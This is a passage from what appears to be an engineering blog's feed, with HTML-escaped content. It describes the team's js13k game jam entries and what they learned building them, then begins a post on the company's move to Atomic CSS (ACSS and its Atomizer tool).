rich mathematical structures. This game was to be built so that it can at least support face turning Tetrahedra &amp;#x26; Octahedra apart from the standard cubes.&lt;/p&gt; &lt;div style=&quot;text-align:center;&quot;&gt; &lt;img src=&quot;/images/2018/09/js13k_twisty_polyhedra.gif&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;Some of the fun challenges involved with this one were:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Composing &amp;#x26; rendering the shape&lt;/li&gt; &lt;li&gt;Re-orienting &amp;#x26; twisting the puzzle according to cursor movements&lt;/li&gt; &lt;li&gt;Animating the twists&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;There was a lot to learn from these challenges as it involved playing with vectors, coming up with algorithms to generate &amp;#x26; render the sliced shapes on a 2D canvas, to infer the desired action from simple input events etc.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://js13kgames.com/games/twisty-polyhedra/index.html&quot;&gt;demo&lt;/a&gt; | &lt;a href=&quot;https://github.com/aditya-r-m/twisty-polyhedra&quot;&gt;source&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;keep-alive&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#keep-alive&quot; aria-label=&quot;keep alive permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://js13kgames.com/entries/keep-alive&quot;&gt;Keep-Alive&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Author: &lt;a href=&quot;https://twitter.com/surbhi_mahajan&quot;&gt;Surbhi Mahajan&lt;/a&gt;&lt;/p&gt; &lt;p&gt;The idea of this game is inspired by &lt;a href=&quot;https://www.duetgame.com/&quot;&gt;Duet&lt;/a&gt;. Although the gameplay is based on the classic game, it offers extended features and new visuals. There are 3 self-contained levels each with a unique challenge. The player rotates colored orbs in a circular track, guiding them to avoid incoming obstacles. It&apos;s required to keep all the orbs intact to keep going. The orbs only collide with obstacles of a different color than them &amp;#x26; pass unharmed through obstacles otherwise.&lt;/p&gt; &lt;div style=&quot;text-align:center;&quot;&gt; &lt;img src=&quot;/images/2018/09/js13k_keep_alive.gif&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;A few of the interesting challenges with this were:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Collision detection &amp;#x26; revert effects&lt;/li&gt; &lt;li&gt;Special effects for tail &amp;#x26; kill animations&lt;/li&gt; &lt;li&gt;Dynamic level definitions&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Since a lot of these effects were algorithmically generated, the size limit was not a concern for this entry. The primary learning experience here was integrating deterministic dynamic stages, cool effects &amp;#x26; structuring the implementation.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://js13kgames.com/games/keep-alive/index.html&quot;&gt;demo&lt;/a&gt; | &lt;a href=&quot;https://github.com/surbhi-mahajan/keep-alive&quot;&gt;source&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;anti_virus&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#anti_virus&quot; aria-label=&quot;anti_virus permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://js13kgames.com/entries/antivirus&quot;&gt;Anti_Virus&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Author: &lt;a href=&quot;https://twitter.com/PunitGu22548112&quot;&gt;Punit Gupta&lt;/a&gt;&lt;/p&gt; &lt;p&gt;This game is inspired by a classic game &apos;Snow Bros&apos; but with a very different flavor. We all use various offline storage devices to save our precious data. But inevitably, sometimes the data gets corrupted due to viruses. The goal here is to go into those devices, kill those viruses and save the data. The gameplay involves moving around, climbing the platforms, freezing the opponents and throwing them over other enemies.&lt;/p&gt; &lt;div style=&quot;text-align:center;&quot;&gt; &lt;img src=&quot;/images/2018/09/js13k_anti_virus.gif&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;Some of the major challenges involved with this idea are:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Detecting collisions among platforms, walls, opponents, shooters and player.&lt;/li&gt; &lt;li&gt;Randomizing enemy movements.&lt;/li&gt; &lt;li&gt;Animating when player or enemies are killed.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;The physics &amp;#x26; special effects being the most fun part of the implementation, squeezing all these things into the required size &amp;#x26; keeping the gameplay smooth also involved quite a lot of optimizations &amp;#x26; polishing.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://js13kgames.com/games/antivirus/index.html&quot;&gt;demo&lt;/a&gt; | &lt;a href=&quot;https://github.com/pntgupta/anti-virus&quot;&gt;source&lt;/a&gt;&lt;/p&gt; &lt;h2 id=&quot;sum-it-up&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#sum-it-up&quot; aria-label=&quot;sum it up permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://js13kgames.com/entries/sum-it-up&quot;&gt;Sum It Up&lt;/a&gt;&lt;/h2&gt; &lt;p&gt;Author: &lt;a href=&quot;https://twitter.com/hemkaranraghav&quot;&gt;Hemkaran Raghav&lt;/a&gt;&lt;/p&gt; &lt;p&gt;This game is inspired by one of the most popular games of all time, ‘Spider Solitaire’. In this one, you don’t have to stack the cards in increasing order. Instead, numbers are written on these cards and you have to stack identical cards over each other causing them to merge into a new card with double value. Your goal is to create the highest score possible.&lt;/p&gt; &lt;div style=&quot;text-align:center;&quot;&gt; &lt;img src=&quot;/images/2018/09/js13k_sum_it_up.gif&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;The most fun parts of this implementation were creating smooth &amp;#x26; beautiful animations.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://js13kgames.com/games/sum-it-up/index.html&quot;&gt;demo&lt;/a&gt; | &lt;a href=&quot;https://github.com/hemkaran/sum-it-up-game&quot;&gt;source&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;up--down&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#up--down&quot; aria-label=&quot;up down permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://js13kgames.com/entries/up-down&quot;&gt;Up &amp;#x26; Down&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Author: &lt;a href=&quot;https://twitter.com/dinkarpundir&quot;&gt;Dinkar Pundir&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Inspired by &lt;a href=&quot;https://en.wikipedia.org/wiki/VVVVVV&quot;&gt;vvvvvv&lt;/a&gt;, this game is based on playing with gravity. Apart from the ability to move left/right, you can toggle the direction of the pull. On the click of a button, this direction can be flipped upside-down. This basic idea when combined with adding obstacles in creative ways can lead to plenty of possibilities for a platformer.&lt;/p&gt; &lt;div style=&quot;text-align:center;&quot;&gt; &lt;img src=&quot;/images/2018/09/js13k_up&amp;amp;down.gif&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;This involved problems like:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Implementing smooth discrete integration that provides a nice balanced difficulty&lt;/li&gt; &lt;li&gt;Collision detection that properly counters changing gravity&lt;/li&gt; &lt;li&gt;Creating a well-structured design to allow for easy extensions to stage definitions&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Although created in a very short amount of time, not only were these things fun to solve, these simple problems lead the way towards a wide variety of techniques related to mathematical ideas &amp;#x26; design principles in general.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://js13kgames.com/games/up-down/index.html&quot;&gt;demo&lt;/a&gt; | &lt;a href=&quot;https://github.com/dinkar/up-and-down-js13k-2018&quot;&gt;source&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;robo-galactic-shooter&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#robo-galactic-shooter&quot; aria-label=&quot;robo galactic shooter permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://js13kgames.com/entries/robo-galactic-shooter&quot;&gt;Robo Galactic Shooter&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Author: &lt;a href=&quot;https://twitter.com/CreativeBakchod&quot;&gt;Ashish Bardhan&lt;/a&gt;&lt;/p&gt; &lt;p&gt;The idea for this entry was to create a classic 2D Shoot&apos;em up style &amp;#x26; nostalgic retro feel. You need to survive a barrage of asteroids for as long as possible. The good thing is that you&apos;re given some solid guns! The robot is flying towards the right into the coming asteroids of different sizes &amp;#x26; velocities. The gameplay involves either dodging them or shooting them till they disintegrate.&lt;/p&gt; &lt;div style=&quot;text-align:center;&quot;&gt; &lt;img src=&quot;/images/2018/09/js13k_robo_galactic_shooter.gif&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;Plenty of effort went into the following parts:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Creating cool background effects, handling sprites&lt;/li&gt; &lt;li&gt;Integrating sound effects&lt;/li&gt; &lt;li&gt;Boundless level generation&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Considering how many effects &amp;#x26; elements were integrated, a lot of optimizations were required to fit it all in 13KB. The game also incorporated sound effects using a micro-library called jsfxr. &lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://js13kgames.com/games/robo-galactic-shooter/index.html&quot;&gt;demo&lt;/a&gt; | &lt;a href=&quot;https://github.com/AshBardhan/robo-galactic-shooter&quot;&gt;source&lt;/a&gt;&lt;/p&gt; &lt;h2 id=&quot;what-we-learned&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-we-learned&quot; aria-label=&quot;what we learned permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What we Learned&lt;/h2&gt; &lt;p&gt;A lot of what we learned came from implementing animations, physics, collision detections etc. It&apos;s nice to see how ideas from geometry &amp;#x26; basic numerical integration techniques come together to make a functional game. It&apos;s also worth mentioning that given how complex the implementations of these simple concepts tend to become, an understanding of software design principles is not only a requirement while building these things, but also grows really well with such an experience.&lt;/p&gt; &lt;p&gt;Most of the integrated effects &amp;#x26; animations we had to create on our own. Some of our games also involved a degree of focus on keeping the algorithms fast, for example, by managing object lifecycles to keep the computations limited to only visible entities, by using clever little hacks to avoid redundant computations while rendering etc.&lt;/p&gt; &lt;p&gt;In the instances where third party libraries were used, we had to make sure they introduced very little overhead. 2 of the listed games leveraged &lt;a href=&quot;https://github.com/straker/kontra&quot;&gt;Kontra.js&lt;/a&gt;, a micro-library to get up &amp;#x26; running quickly without introducing any significant impact to build size. Kontra.js provides nice features such as sprite management &amp;#x26; out of the box collision detection etc. Galactic Shooter also used a slightly altered version of &lt;a href=&quot;https://github.com/mneubrand/jsfxr&quot;&gt;jsfxr&lt;/a&gt;, a lightweight sound generation library.&lt;/p&gt; &lt;p&gt;For the build process, almost all of us followed a different path. In small games, &lt;a href=&quot;https://webpack.js.org/&quot;&gt;Webpack&lt;/a&gt; was suitable for bundling the source. For some larger ones, we wanted to avoid even the tiniest of the overhead introduced by Webpack. Therefore, we used simple &lt;a href=&quot;https://gruntjs.com/&quot;&gt;Grunt&lt;/a&gt; / &lt;a href=&quot;https://gulpjs.com/&quot;&gt;Gulp&lt;/a&gt; tasks to concatenate &amp;#x26; minify files. In some cases, we even avoided using &lt;a href=&quot;https://developers.google.com/closure/compiler/&quot;&gt;Closure Compiler&lt;/a&gt;, as arrow functions &amp;#x26; classes result in much more concise code. Apart from these, we experimented with various compression tools &amp;#x26; techniques for fitting all those JS/HTML/CSS/PNG files in 13K size limit. But one way or another, we managed to make it for all of the entries.&lt;/p&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h2&gt; &lt;p&gt;Participation in this event did require committing a significant amount of personal time to it but proved to be an amazing experience not only in terms of what we learned from it but also in how much fun we had while implementing these concepts. After all, game development is as fun as it gets when it comes to programming - &lt;strong&gt;&lt;em&gt;creating a tiny universe of your own, the laws of physics are what you want them to be, things evolve how you tell them to&lt;/em&gt;&lt;/strong&gt;. And we certainly managed to pick up some nice ideas along the way.&lt;/p&gt; &lt;p&gt;We would love to hear your feedback or answer any queries you might have, feel free to drop a comment or tweet us at &lt;a href=&quot;https://twitter.com/wingify_engg&quot;&gt;@wingify_engg&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;game-on&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#game-on&quot; aria-label=&quot;game on permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Game on!&lt;/h3&gt;</content:encoded><author>Aditya Mishra, Punit Gupta</author></item><item><title><![CDATA[Shift to Atomic CSS]]></title><description><![CDATA[For the past few months, we at Wingify, have been working on making a common platform for different products - so that things get reused…]]></description><link>https://engineering.wingify.com//posts/shift-to-atomic-css/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/shift-to-atomic-css/</guid><pubDate>Fri, 31 Aug 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;For the past few months, we at Wingify, have been working on making a common platform for different products - so that things get reused across products and re-inventing the wheel doesn&apos;t happen. This also has additional benefits like enforcing common good practices across products, easier switching for developer across products and more. As part of the same endeavor, our Frontend team has been working hard on a Design System and a frontend boilerplate app over that. The boilerplate is something which any product at Wingify can simply fork and build a new frontend app, using the reusable components provided by the base Design System. More about the boilerplate and Design System later, but in this post want to specifically talk about a very import part of our Design System - &lt;strong&gt;our CSS&lt;/strong&gt;.&lt;/p&gt; &lt;h2 id=&quot;issues-with-current-css&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#issues-with-current-css&quot; aria-label=&quot;issues with current css permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Issues with current CSS&lt;/h2&gt; &lt;p&gt;First, why did we even start looking for a new way to write CSS? Previously, we were using a mix of &lt;a href=&quot;http://getbem.com/introduction/&quot;&gt;BEM&lt;/a&gt; and some helper classes. Occasional classes which belonged to neither of those two categories could be seen in the code base too! 😅 This approach led to the following issues:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;Naming classes was always a problem&lt;/strong&gt; - Often, someone was commenting the pull requests that this class name doesn&apos;t make sense and should be changed to something more &lt;em&gt;&quot;meaningful&quot;&lt;/em&gt;. Finding &lt;em&gt;&quot;meaningful&quot;&lt;/em&gt; names is tough!&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Unused CSS&lt;/strong&gt; - Automated tools to detect unused CSS are not very reliable, especially with Single Page Apps. Our CSS kept growing over time and definitely one main reason for that was no one ever cared to remove the unused CSS.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Refactoring&lt;/strong&gt; - With usual classes, it becomes difficult to refactor with confidence. Because the developer cannot be very sure about the class that they are renaming or removing getting used elsewhere which they are not aware of.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;I have also blogged about these issues in detail in &lt;a href=&quot;https://medium.freecodecamp.org/acss-a-dynamic-atomic-css-library-402dff9756e0&quot;&gt;an article here&lt;/a&gt;.&lt;/p&gt; &lt;h2 id=&quot;evaluating-other-approaches&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#evaluating-other-approaches&quot; aria-label=&quot;evaluating other approaches permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Evaluating other approaches&lt;/h2&gt; &lt;p&gt;Much before starting this mission, we started evaluating various frameworks for writing CSS. Our evaluation was based on following parameters:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Final output file size&lt;/li&gt; &lt;li&gt;Rate of growth of file size over time&lt;/li&gt; &lt;li&gt;Unused CSS handling&lt;/li&gt; &lt;li&gt;Ease of learning for a new developer&lt;/li&gt; &lt;li&gt;Ease of maintenance&lt;/li&gt; &lt;li&gt;Documentation (existing or requirement to create one internally)&lt;/li&gt; &lt;li&gt;Lintable&lt;/li&gt; &lt;li&gt;Themable&lt;/li&gt; &lt;li&gt;Ease of refactoring&lt;/li&gt; &lt;li&gt;Naming effort involved&lt;/li&gt; &lt;li&gt;Critical CSS generation&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Yeah, lots of parameters. We evaluated very critically 😀. Also, notice that I have kept the end-user performance related parameters on top as that&apos;s what mattered most to us.&lt;/p&gt; &lt;h2 id=&quot;the-winner---acss&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-winner---acss&quot; aria-label=&quot;the winner acss permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The winner - ACSS&lt;/h2&gt; &lt;p&gt;We evaluated lots of known frameworks and libraries out there like pure BEM, Tachyons, Styled Components, Vue&apos;s scoped CSS, CSS modules. But We found that atomic CSS approach met most of our requirements as mentioned above. Also known as helper/utility classes approach, Atomic CSS requires no naming, documentation would be available if we go with a well-known library, its themable, lintable. Refactoring is also easier as all you need to do is remove classes from your HTML and never touch CSS.&lt;/p&gt; &lt;p&gt;But even in various atomic CSS libraries available out there, we decided to go with &lt;a href=&quot;https://acss.io/&quot;&gt;ACSS&lt;/a&gt;(I know, the name is little too generic as they call themselves Atomic CSS!). We got introduced to ACSS by our resident UX engineer, &lt;a href=&quot;https://twitter.com/jitendravyas&quot;&gt;Jitendra Vyas&lt;/a&gt;. Along with him, we discussed a lot of points about ACSS with one of the developers of ACSS, &lt;a href=&quot;https://github.com/thierryk&quot;&gt;Thierry Koblentz&lt;/a&gt;. ACSS was also mentioned by &lt;a href=&quot;https://twitter.com/roderickhsiao/status/922620291527852032&quot;&gt;Addy Osmani at Google IO&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;ACSS comes with very strong benefits which no other library had. You don&apos;t write CSS in ACSS, in fact you don&apos;t even download a CSS file and use in ACSS. ACSS comes with a tool called &lt;a href=&quot;https://github.com/acss-io/atomizer&quot;&gt;Atomizer&lt;/a&gt; which detects the use of ACSS classes in your HTML (or any file) and generates the corresponding CSS for those detected classes. Here is a sample HTML you would write with ACSS:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;button&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;Bgc(blue) C(white) P(10px) D(ib) Cur(p) Bgc(red):h&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; I am a button &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;button&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;On top of usual benefits of Atomic CSS approach, ACSS&apos;s automatic CSS generation means that we never get a single byte of CSS that we are not using in an app! What we use in HTML, lands in the final CSS file. In fact, ACSS generates such small CSS that it&apos;s practically possible to inline your complete CSS - i.e. your complete CSS can become your critical CSS!&lt;/p&gt; &lt;p&gt;We were free from documentation as the only thing a developer needs to write ACSS is their &lt;a href=&quot;https://acss.io/reference&quot;&gt;awesome, searchable reference&lt;/a&gt;. There is also a &lt;a href=&quot;https://github.com/acss-io/vscode-atomizer&quot;&gt;VSCode extension&lt;/a&gt; which even removes the need for the reference. We were free from naming things of 